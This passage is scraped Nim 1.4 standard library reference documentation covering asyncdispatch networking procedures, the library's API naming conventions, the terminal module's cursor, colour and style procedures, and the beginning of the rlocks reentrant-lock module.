IPPROTO_TCP): owned( Future[AsyncFD]) {...}{.raises: [OSError, ValueError, Exception], tags: [RootEffect].} ``` Establishes connection to the specified `address`:`port` pair via the specified protocol. The procedure iterates through possible resolutions of the `address` until it succeeds, meaning that it seamlessly works with both IPv4 and IPv6. Returns the async file descriptor, registered in the dispatcher of the current thread, ready to send or receive data. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncdispatch.nim#L1803) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncdispatch.nim#L1803) ``` proc connect(socket: AsyncFD; address: string; port: Port; domain = Domain.AF_INET): owned(Future[void]) {...}{. raises: [OSError, IOError, ValueError, Exception], tags: [RootEffect].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncdispatch.nim#L1818) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncdispatch.nim#L1818) ``` proc sleepAsync(ms: int | float): owned(Future[void]) ``` Suspends the execution of the current async procedure for the next `ms` milliseconds. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncdispatch.nim#L1833) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncdispatch.nim#L1833) ``` proc withTimeout[T](fut: Future[T]; timeout: int): owned(Future[bool]) ``` Returns a future which will complete once `fut` completes or after `timeout` milliseconds has elapsed. If `fut` completes first the returned future will hold true, otherwise, if `timeout` milliseconds has elapsed first, the returned future will hold false. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncdispatch.nim#L1845) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncdispatch.nim#L1845) ``` proc accept(socket: AsyncFD; flags = {SafeDisconn}; inheritable = defined(nimInheritHandles)): owned(Future[AsyncFD]) {...}{. raises: [Exception, ValueError, OSError], tags: [RootEffect].} ``` Accepts a new connection. Returns a future containing the client socket corresponding to that connection. If `inheritable` is false (the default), the resulting client socket will not be inheritable by child processes. The future will complete when the connection is successfully accepted. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncdispatch.nim#L1867) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncdispatch.nim#L1867) ``` proc send(socket: AsyncFD; data: string; flags = {SafeDisconn}): owned( Future[void]) {...}{.raises: [Exception, ValueError], tags: [RootEffect].} ``` Sends `data` to `socket`. The returned future will complete once all data has been sent. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncdispatch.nim#L1891) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncdispatch.nim#L1891) ``` proc readAll(future: FutureStream[string]): owned(Future[string]) {...}{. raises: [Exception, ValueError], tags: [RootEffect].} ``` Returns a future that will complete when all the string data from the specified future stream is retrieved. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncdispatch.nim#L1913) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncdispatch.nim#L1913) ``` proc callSoon(cbproc: proc () {...}{.gcsafe.}) {...}{.gcsafe, raises: [Exception], tags: [RootEffect].} ``` Schedule `cbproc` to be called as soon as possible. The callback is called when control returns to the event loop. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncdispatch.nim#L1924) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncdispatch.nim#L1924) ``` proc runForever() {...}{.raises: [Exception, ValueError, OSError], tags: [RootEffect, TimeEffect].} ``` Begins a never ending global dispatcher poll loop. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncdispatch.nim#L1927) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncdispatch.nim#L1927) ``` proc waitFor[T](fut: Future[T]): T ``` **Blocks** the current thread until the specified future completes. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncdispatch.nim#L1932) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncdispatch.nim#L1932) ``` proc activeDescriptors(): int {...}{.inline, raises: [], tags: [].} ``` Returns the current number of active file descriptors for the current event loop. This is a cheap operation that does not involve a system call. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncdispatch.nim#L1939) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncdispatch.nim#L1939) ``` proc maxDescriptors(): int {...}{.raises: OSError, tags: [].} ``` Returns the maximum number of active file descriptors for the current process. This involves a system call. For now `maxDescriptors` is supported on the following OSes: Windows, Linux, OSX, BSD. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncdispatch.nim#L1951) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncdispatch.nim#L1951) Macros ------ ``` macro async(prc: untyped): untyped ``` Macro which processes async procedures into the appropriate iterators and yield statements. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncmacro.nim#L289) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncmacro.nim#L289) ``` macro multisync(prc: untyped): untyped ``` Macro which processes async procedures into both asynchronous and synchronous procedures. The generated async procedures use the `async` macro, whereas the generated synchronous procedures simply strip off the `await` calls. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncmacro.nim#L348) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncmacro.nim#L348) Templates --------- ``` template await(f: typed): untyped {...}{.used.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncmacro.nim#L138) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncmacro.nim#L138) ``` template await[T](f: Future[T]): auto {...}{.used.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncmacro.nim#L142) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncmacro.nim#L142) Exports ------- [Port](nativesockets#Port), [SocketFlag](net#SocketFlag), [and](asyncfutures#and,Future%5BT%5D,Future%5BY%5D), [addCallback](asyncfutures#addCallback,Future%5BT%5D,proc(Future%5BT%5D)), [asyncCheck](asyncfutures#asyncCheck,Future%5BT%5D), [or](asyncfutures#or,Future%5BT%5D,Future%5BY%5D), [read](asyncfutures#read), [fail](asyncfutures#fail,Future%5BT%5D,ref.Exception), [setCallSoonProc](asyncfutures#setCallSoonProc), [addCallback](asyncfutures#addCallback,FutureBase,proc)), [clean](asyncfutures#clean,FutureVar%5BT%5D), [clearCallbacks](asyncfutures#clearCallbacks,FutureBase), [newFutureVar](asyncfutures#newFutureVar,string), [mget](asyncfutures#mget,FutureVar%5BT%5D), [Future](asyncfutures#Future), [failed](asyncfutures#failed,FutureBase), [$](asyncfutures#%24,seq%5BStackTraceEntry%5D), [callback=](asyncfutures#callback=,FutureBase,proc)), [complete](asyncfutures#complete,FutureVar%5BT%5D,T), [callback=](asyncfutures#callback=,Future%5BT%5D,proc(Future%5BT%5D)), [NimAsyncContinueSuffix](asyncfutures#NimAsyncContinueSuffix), [FutureBase](asyncfutures#FutureBase), [all](asyncfutures#all,varargs%5BFuture%5BT%5D%5D), [complete](asyncfutures#complete,FutureVar%5BT%5D), [FutureError](asyncfutures#FutureError), [getCallSoonProc](asyncfutures#getCallSoonProc), [FutureVar](asyncfutures#FutureVar), [isFutureLoggingEnabled](asyncfutures#isFutureLoggingEnabled), [complete](asyncfutures#complete,Future%5Bvoid%5D), [readError](asyncfutures#readError,Future%5BT%5D), [complete](asyncfutures#complete,Future%5BT%5D,T), [newFuture](asyncfutures#newFuture,string), [finished](asyncfutures#finished), [len](asyncstreams#len,FutureStream%5BT%5D), [callback=](asyncstreams#callback=,FutureStream%5BT%5D,proc(FutureStream%5BT%5D)), [fail](asyncstreams#fail,FutureStream%5BT%5D,ref.Exception), [newFutureStream](asyncstreams#newFutureStream,string), [finished](asyncstreams#finished,FutureStream%5BT%5D), [write](asyncstreams#write,FutureStream%5BT%5D,T), [complete](asyncstreams#complete,FutureStream%5BT%5D), [FutureStream](asyncstreams#FutureStream), [read](asyncstreams#read,FutureStream%5BT%5D), [failed](asyncstreams#failed,FutureStream%5BT%5D)
programming_docs
nim API naming design API naming design ================= The API is designed to be **easy to use** and consistent. Ease of use is measured by the number of calls to achieve a concrete high-level action. Naming scheme ------------- The library uses a simple naming scheme that makes use of common abbreviations to keep the names short but meaningful. Since version 0.8.2 many symbols have been renamed to fit this scheme. The ultimate goal is that the programmer can *guess* a name. | English word | To use | Notes | | --- | --- | --- | | initialize | initT | `init` is used to create a value type `T` | | new | newP | `new` is used to create a reference type `P` | | find | find | should return the position where something was found; for a bool result use `contains` | | contains | contains | often short for `find() >= 0` | | append | add | use `add` instead of `append` | | compare | cmp | should return an int with the `< 0` `== 0` or `> 0` semantics; for a bool result use `sameXYZ` | | put | put, `[]=` | consider overloading `[]=` for put | | get | get, `[]` | consider overloading `[]` for get; consider to not use `get` as a prefix: `len` instead of `getLen` | | length | len | also used for *number of elements* | | size | size, len | size should refer to a byte size | | capacity | cap | | | memory | mem | implies a low-level operation | | items | items | default iterator over a collection | | pairs | pairs | iterator over (key, value) pairs | | delete | delete, del | del is supposed to be faster than delete, because it does not keep the order; delete keeps the order | | remove | delete, del | inconsistent right now | | remove-and-return | pop | `Table`/`TableRef` alias to `take` | | include | incl | | | exclude | excl | | | command | cmd | | | execute | exec | | | environment | env | | | variable | var | | | value | value, val | val is preferred, inconsistent right now | | executable | exe | | | directory | dir | | | path | path | path is the string "/usr/bin" (for example), dir is the content of "/usr/bin"; inconsistent right now | | extension | ext | | | separator | sep | | | column | col, column | col is preferred, inconsistent right now | | application | app | | | configuration | cfg | | | message | msg | | | argument | arg | | | object | obj | | | parameter | param | | | operator | opr | | | procedure | proc | | | function | func | | | coordinate | coord | | | rectangle | rect | | | point | point | | | symbol | sym | | | literal | lit | | | string | str | | | identifier | ident | | | indentation | indent | | nim terminal terminal ======== This module contains a few procedures to control the *terminal* (also called *console*). On UNIX, the implementation simply uses ANSI escape sequences and does not depend on any other module, on Windows it uses the Windows API. Changing the style is permanent even after program termination! Use the code `system.addQuitProc(resetAttributes)` to restore the defaults. Similarly, if you hide the cursor, make sure to unhide it with `showCursor` before quitting. Imports ------- <macros>, <strformat>, <strutils>, <colors>, <termios>, <posix>, <os>, <parseutils>, <termios> Types ----- ``` Style = enum styleBright = 1, ## bright text styleDim, ## dim text styleItalic, ## italic (or reverse on terminals not supporting) styleUnderscore, ## underscored text styleBlink, ## blinking/bold text styleBlinkRapid, ## rapid blinking/bold text (not widely supported) styleReverse, ## reverse styleHidden, ## hidden text styleStrikethrough ## strikethrough ``` different styles for text output [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/terminal.nim#L483) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/terminal.nim#L483) ``` ForegroundColor = enum fgBlack = 30, ## black fgRed, ## red fgGreen, ## green fgYellow, ## yellow fgBlue, ## blue fgMagenta, ## magenta fgCyan, ## cyan fgWhite, ## white fg8Bit, ## 256-color (not supported, see ``enableTrueColors`` instead.) fgDefault ## default terminal foreground color ``` terminal's foreground colors [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/terminal.nim#L537) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/terminal.nim#L537) ``` BackgroundColor = enum bgBlack = 40, ## black bgRed, ## red bgGreen, ## green bgYellow, ## yellow bgBlue, ## blue bgMagenta, ## magenta bgCyan, ## cyan bgWhite, ## white bg8Bit, ## 256-color (not supported, see ``enableTrueColors`` instead.) bgDefault ## default terminal background color ``` terminal's background colors [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/terminal.nim#L549) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/terminal.nim#L549) ``` TerminalCmd = enum resetStyle, ## reset attributes fgColor, ## set foreground's true color bgColor ## set background's true color ``` commands that can be expressed as arguments [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/terminal.nim#L678) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/terminal.nim#L678) Consts ------ ``` ansiResetCode = "\e[0m" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/terminal.nim#L53) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/terminal.nim#L53) Procs ----- ``` proc terminalWidthIoctl(fds: openArray[int]): int {...}{.raises: [], tags: [].} ``` Returns terminal width from first fd that supports the ioctl. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/terminal.nim#L223) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/terminal.nim#L223) ``` proc terminalHeightIoctl(fds: openArray[int]): int {...}{.raises: [], tags: [].} ``` Returns terminal height from first fd that supports the ioctl. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/terminal.nim#L232) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/terminal.nim#L232) ``` proc terminalWidth(): int {...}{.raises: [ValueError], tags: [ReadEnvEffect].} ``` Returns some reasonable terminal width from either standard file descriptors, controlling terminal, environment variables or tradition. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/terminal.nim#L243) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/terminal.nim#L243) ``` proc terminalHeight(): int {...}{.raises: [ValueError], tags: [ReadEnvEffect].} ``` Returns some reasonable terminal height from either standard file descriptors, controlling terminal, environment variables or tradition. Zero is returned if the height could not be determined. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/terminal.nim#L260) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/terminal.nim#L260) ``` proc terminalSize(): tuple[w, h: int] {...}{.raises: [ValueError], tags: [ReadEnvEffect].} ``` Returns the terminal width and height as a tuple. Internally calls `terminalWidth` and `terminalHeight`, so the same assumptions apply. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/terminal.nim#L278) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/terminal.nim#L278) ``` proc hideCursor(f: File) {...}{.raises: [IOError], tags: [WriteIOEffect].} ``` Hides the cursor. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/terminal.nim#L293) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/terminal.nim#L293) ``` proc showCursor(f: File) {...}{.raises: [IOError], tags: [WriteIOEffect].} ``` Shows the cursor. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/terminal.nim#L300) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/terminal.nim#L300) ``` proc setCursorPos(f: File; x, y: int) {...}{.raises: [IOError, ValueError], tags: [WriteIOEffect].} ``` Sets the terminal's cursor to the (x,y) position. (0,0) is the upper left of the screen. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/terminal.nim#L307) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/terminal.nim#L307) ``` proc setCursorXPos(f: File; x: int) {...}{.raises: [IOError, ValueError], tags: [WriteIOEffect].} ``` Sets the terminal's cursor to the x position. The y position is not changed. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/terminal.nim#L316) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/terminal.nim#L316) ``` proc cursorUp(f: File; count = 1) {...}{.raises: [IOError], tags: [WriteIOEffect].} ``` Moves the cursor up by `count` rows. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/terminal.nim#L348) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/terminal.nim#L348) ``` proc cursorDown(f: File; count = 1) {...}{.raises: [IOError, ValueError], tags: [WriteIOEffect].} ``` Moves the cursor down by `count` rows. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/terminal.nim#L358) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/terminal.nim#L358) ``` proc cursorForward(f: File; count = 1) {...}{.raises: [IOError, ValueError], tags: [WriteIOEffect].} ``` Moves the cursor forward by `count` columns. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/terminal.nim#L368) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/terminal.nim#L368) ``` proc cursorBackward(f: File; count = 1) {...}{.raises: [IOError, ValueError], tags: [WriteIOEffect].} ``` Moves the cursor backward by `count` columns. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/terminal.nim#L378) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/terminal.nim#L378) ``` proc eraseLine(f: File) {...}{.raises: [IOError, ValueError], tags: [WriteIOEffect].} ``` Erases the entire current line. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/terminal.nim#L419) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/terminal.nim#L419) ``` proc eraseScreen(f: File) {...}{.raises: [IOError], tags: [WriteIOEffect].} ``` Erases the screen with the background colour and moves the cursor to home. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/terminal.nim#L442) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/terminal.nim#L442) ``` proc resetAttributes(f: File) {...}{.raises: [IOError], tags: [WriteIOEffect].} ``` Resets all attributes. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/terminal.nim#L469) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/terminal.nim#L469) ``` proc ansiStyleCode(style: int): string {...}{.raises: [ValueError], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/terminal.nim#L494) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/terminal.nim#L494) ``` proc setStyle(f: File; style: set[Style]) {...}{.raises: [IOError, ValueError], tags: [WriteIOEffect].} ``` Sets the terminal style. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/terminal.nim#L504) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/terminal.nim#L504) ``` proc writeStyled(txt: string; style: set[Style] = {styleBright}) {...}{. raises: [IOError, ValueError], tags: [WriteIOEffect].} ``` Writes the text `txt` in a given `style` to stdout. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/terminal.nim#L519) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/terminal.nim#L519) ``` proc setForegroundColor(f: File; fg: ForegroundColor; bright = false) {...}{. raises: [IOError, ValueError], tags: [WriteIOEffect].} ``` Sets the terminal's foreground color. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/terminal.nim#L564) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/terminal.nim#L564) ``` proc setBackgroundColor(f: File; bg: BackgroundColor; bright = false) {...}{. raises: [IOError, ValueError], tags: [WriteIOEffect].} ``` Sets the terminal's background color. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/terminal.nim#L593) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/terminal.nim#L593) ``` proc ansiForegroundColorCode(fg: ForegroundColor; bright = false): string {...}{. raises: [ValueError], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/terminal.nim#L622) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/terminal.nim#L622) ``` proc ansiForegroundColorCode(color: Color): string {...}{.raises: [ValueError], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/terminal.nim#L631) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/terminal.nim#L631) ``` proc ansiBackgroundColorCode(color: Color): string {...}{.raises: [ValueError], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/terminal.nim#L640) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/terminal.nim#L640) ``` proc setForegroundColor(f: File; color: Color) {...}{.raises: [IOError, ValueError], tags: [RootEffect, WriteIOEffect].} ``` Sets the terminal's foreground true color. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/terminal.nim#L649) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/terminal.nim#L649) ``` proc setBackgroundColor(f: File; color: Color) {...}{.raises: [IOError, ValueError], tags: [RootEffect, WriteIOEffect].} ``` Sets the terminal's background true color. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/terminal.nim#L654) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/terminal.nim#L654) ``` proc isatty(f: File): bool {...}{.raises: [], tags: [].} ``` Returns true if `f` is associated with a terminal device. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/terminal.nim#L666) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/terminal.nim#L666) ``` proc getch(): char {...}{.raises: [IOError, EOFError], tags: [ReadIOEffect].} ``` Read a single character from the terminal, blocking until it is entered. The character is not printed to the terminal. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/terminal.nim#L749) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/terminal.nim#L749) ``` proc readPasswordFromStdin(prompt: string; password: var TaintedString): bool {...}{. tags: [ReadIOEffect, WriteIOEffect], raises: [IOError].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/terminal.nim#L800) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/terminal.nim#L800) ``` proc readPasswordFromStdin(prompt = "password: "): TaintedString {...}{. raises: [IOError], tags: [ReadIOEffect, WriteIOEffect].} ``` Reads a password from stdin without printing it. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/terminal.nim#L814) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/terminal.nim#L814) ``` proc resetAttributes() {...}{.noconv, raises: [IOError], tags: [WriteIOEffect].} ``` Resets all attributes on stdout. It is advisable to register this as a quit proc with `system.addQuitProc(resetAttributes)`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/terminal.nim#L843) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/terminal.nim#L843) ``` proc isTrueColorSupported(): bool {...}{.raises: [], tags: [RootEffect].} ``` Returns true if a terminal supports true color. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/terminal.nim#L849) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/terminal.nim#L849) ``` proc enableTrueColors() {...}{.raises: [], tags: [RootEffect, ReadEnvEffect].} ``` Enable true color. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/terminal.nim#L856) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/terminal.nim#L856) ``` proc disableTrueColors() {...}{.raises: [], tags: [RootEffect].} ``` Disable true color. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/terminal.nim#L889) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/terminal.nim#L889) Macros ------ ``` macro styledWrite(f: File; m: varargs[typed]): untyped ``` Similar to `write`, but treating terminal style arguments specially. When some argument is `Style`, `set[Style]`, `ForegroundColor`, `BackgroundColor` or `TerminalCmd` then it is not sent directly to `f`, but instead corresponding terminal style proc is called. Example: ``` stdout.styledWrite(fgRed, "red text ") stdout.styledWrite(fgGreen, "green text") ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/terminal.nim#L699) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/terminal.nim#L699) Templates --------- ``` template ansiStyleCode(style: Style): string ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/terminal.nim#L497) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/terminal.nim#L497) ``` template ansiStyleCode(style: static[Style]): string ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/terminal.nim#L501) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/terminal.nim#L501) ``` template ansiForegroundColorCode(fg: static[ForegroundColor]; bright: static[bool] = false): string ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/terminal.nim#L627) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/terminal.nim#L627) ``` template ansiForegroundColorCode(color: static[Color]): string ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/terminal.nim#L635) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/terminal.nim#L635) ``` template ansiBackgroundColorCode(color: static[Color]): string ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/terminal.nim#L644) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/terminal.nim#L644) ``` template styledWriteLine(f: File; args: varargs[untyped]) ``` Calls `styledWrite` and appends a newline at the end. Example: ``` proc error(msg: string) = styledWriteLine(stderr, fgRed, "Error: ", resetStyle, msg) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/terminal.nim#L732) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/terminal.nim#L732) ``` template styledEcho(args: varargs[untyped]) ``` Echoes styles arguments to stdout using `styledWriteLine`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/terminal.nim#L745) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/terminal.nim#L745) ``` template hideCursor() ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/terminal.nim#L821) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/terminal.nim#L821) ``` template showCursor() ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/terminal.nim#L822) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/terminal.nim#L822) ``` template setCursorPos(x, y: int) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/terminal.nim#L823) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/terminal.nim#L823) ``` template setCursorXPos(x: int) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/terminal.nim#L824) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/terminal.nim#L824) ``` template cursorUp(count = 1) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/terminal.nim#L827) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/terminal.nim#L827) ``` template cursorDown(count = 1) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/terminal.nim#L828) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/terminal.nim#L828) ``` template cursorForward(count = 1) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/terminal.nim#L829) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/terminal.nim#L829) ``` template cursorBackward(count = 1) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/terminal.nim#L830) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/terminal.nim#L830) ``` template eraseLine() ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/terminal.nim#L831) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/terminal.nim#L831) ``` template eraseScreen() ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/terminal.nim#L832) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/terminal.nim#L832) ``` template setStyle(style: set[Style]) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/terminal.nim#L833) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/terminal.nim#L833) ``` template setForegroundColor(fg: ForegroundColor; bright = false) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/terminal.nim#L835) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/terminal.nim#L835) ``` template setBackgroundColor(bg: BackgroundColor; bright = false) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/terminal.nim#L837) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/terminal.nim#L837) ``` template setForegroundColor(color: Color) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/terminal.nim#L839) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/terminal.nim#L839) ``` template setBackgroundColor(color: Color) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/terminal.nim#L841) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/terminal.nim#L841)
programming_docs
nim rlocks rlocks ====== This module contains Nim's support for reentrant locks. Types ----- ``` RLock = SysLock ``` Nim lock, re-entrant [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/rlocks.nim#L20) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/rlocks.nim#L20) Procs ----- ``` proc initRLock(lock: var RLock) {...}{.inline, raises: [], tags: [].} ``` Initializes the given lock. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/rlocks.nim#L22) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/rlocks.nim#L22) ``` proc deinitRLock(lock: var RLock) {...}{.inline, raises: [], tags: [].} ``` Frees the resources associated with the lock. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/rlocks.nim#L32) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/rlocks.nim#L32) ``` proc tryAcquire(lock: var RLock): bool {...}{.raises: [], tags: [].} ``` Tries to acquire the given lock. Returns `true` on success. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/rlocks.nim#L36) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/rlocks.nim#L36) ``` proc acquire(lock: var RLock) {...}{.raises: [], tags: [].} ``` Acquires the given lock. 